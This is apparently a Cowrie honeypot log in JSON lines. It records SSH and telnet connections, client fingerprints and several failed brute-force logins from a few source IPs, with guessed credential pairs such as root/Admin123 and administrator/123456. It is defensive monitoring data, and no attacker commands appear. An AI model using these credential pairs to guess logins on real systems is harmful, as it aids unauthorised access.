{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:01.520281Z","src_ip":"45.156.87.254","session":"47875eeaecb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55370,"dst_ip":"159.203.135.109","dst_port":22,"session":"c301efc8f320","protocol":"ssh","message":"New connection: 45.156.87.254:55370 (159.203.135.109:22) [session: c301efc8f320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:06.050570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:06.056000Z","src_ip":"45.156.87.254","session":"c301efc8f320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:06.138729Z","src_ip":"45.156.87.254","session":"c301efc8f320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:06.391701Z","src_ip":"45.156.87.254","session":"c301efc8f320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:07.574189Z","src_ip":"45.156.87.254","session":"c301efc8f320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":35402,"dst_ip":"10.17.0.5","dst_port":22,"session":"176a46d5ffc4","protocol":"ssh","message":"New connection: 185.16.214.226:35402 (10.17.0.5:22) [session: 176a46d5ffc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:10.976031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:10.980598Z","src_ip":"185.16.214.226","session":"176a46d5ffc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48802,"dst_ip":"159.203.135.109","dst_port":22,"session":"986f486584e5","protocol":"ssh","message":"New connection: 45.156.87.254:48802 (159.203.135.109:22) [session: 986f486584e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:11.068664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:11.073526Z","src_ip":"45.156.87.254","session":"986f486584e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:11.108465Z","src_ip":"185.16.214.226","session":"176a46d5ffc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:11.160730Z","src_ip":"45.156.87.254","session":"986f486584e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:11.417061Z","src_ip":"45.156.87.254","session":"986f486584e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver4","password":"gmodserver4","message":"login attempt [gmodserver4/gmodserver4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:11.632005Z","src_ip":"185.16.214.226","session":"176a46d5ffc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:12.505543Z","src_ip":"45.156.87.254","session":"986f486584e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:12.758268Z","src_ip":"185.16.214.226","session":"176a46d5ffc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48816,"dst_ip":"159.203.135.109","dst_port":22,"session":"77d3ed6581f4","protocol":"ssh","message":"New connection: 45.156.87.254:48816 (159.203.135.109:22) [session: 77d3ed6581f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:15.989852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:15.995267Z","src_ip":"45.156.87.254","session":"77d3ed6581f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:16.085462Z","src_ip":"45.156.87.254","session":"77d3ed6581f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:16.337365Z","src_ip":"45.156.87.254","session":"77d3ed6581f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.56203269958496,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:16.403737Z","src_ip":"20.123.41.163","session":"58ecd49d74bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:17.427128Z","src_ip":"45.156.87.254","session":"77d3ed6581f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.975484132766724,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:17.851398Z","src_ip":"20.123.41.163","session":"934210131501","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":36986,"dst_ip":"10.17.0.5","dst_port":23,"session":"21bb651d17c6","protocol":"telnet","message":"New connection: 20.123.41.163:36986 (10.17.0.5:23) [session: 21bb651d17c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:20.192305Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58516,"dst_ip":"159.203.135.109","dst_port":22,"session":"89c168f8860a","protocol":"ssh","message":"New connection: 45.156.87.254:58516 (159.203.135.109:22) [session: 89c168f8860a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:20.518737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:20.523903Z","src_ip":"45.156.87.254","session":"89c168f8860a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:20.607022Z","src_ip":"45.156.87.254","session":"89c168f8860a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:20.857745Z","src_ip":"45.156.87.254","session":"89c168f8860a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:21.943226Z","src_ip":"45.156.87.254","session":"89c168f8860a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.241896390914917,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:22.434098Z","src_ip":"20.123.41.163","session":"21bb651d17c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58526,"dst_ip":"159.203.135.109","dst_port":22,"session":"e58163b2a0a5","protocol":"ssh","message":"New connection: 45.156.87.254:58526 (159.203.135.109:22) [session: e58163b2a0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:25.142594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:25.147982Z","src_ip":"45.156.87.254","session":"e58163b2a0a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:25.231360Z","src_ip":"45.156.87.254","session":"e58163b2a0a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:25.480747Z","src_ip":"45.156.87.254","session":"e58163b2a0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:26.567879Z","src_ip":"45.156.87.254","session":"e58163b2a0a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38956,"dst_ip":"159.203.135.109","dst_port":22,"session":"68dbdc0aca85","protocol":"ssh","message":"New connection: 45.156.87.254:38956 (159.203.135.109:22) [session: 68dbdc0aca85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:29.844324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:29.849533Z","src_ip":"45.156.87.254","session":"68dbdc0aca85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:29.939234Z","src_ip":"45.156.87.254","session":"68dbdc0aca85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:30.313324Z","src_ip":"45.156.87.254","session":"68dbdc0aca85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:31.419730Z","src_ip":"45.156.87.254","session":"68dbdc0aca85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38964,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8afa8b2b066","protocol":"ssh","message":"New connection: 45.156.87.254:38964 (159.203.135.109:22) [session: d8afa8b2b066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:34.844831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:34.850881Z","src_ip":"45.156.87.254","session":"d8afa8b2b066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:34.940944Z","src_ip":"45.156.87.254","session":"d8afa8b2b066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:35.190408Z","src_ip":"45.156.87.254","session":"d8afa8b2b066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:36.284832Z","src_ip":"45.156.87.254","session":"d8afa8b2b066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44390,"dst_ip":"10.17.0.5","dst_port":23,"session":"77b90af2d1b7","protocol":"telnet","message":"New connection: 104.245.105.2:44390 (10.17.0.5:23) [session: 77b90af2d1b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:36.392571Z"}
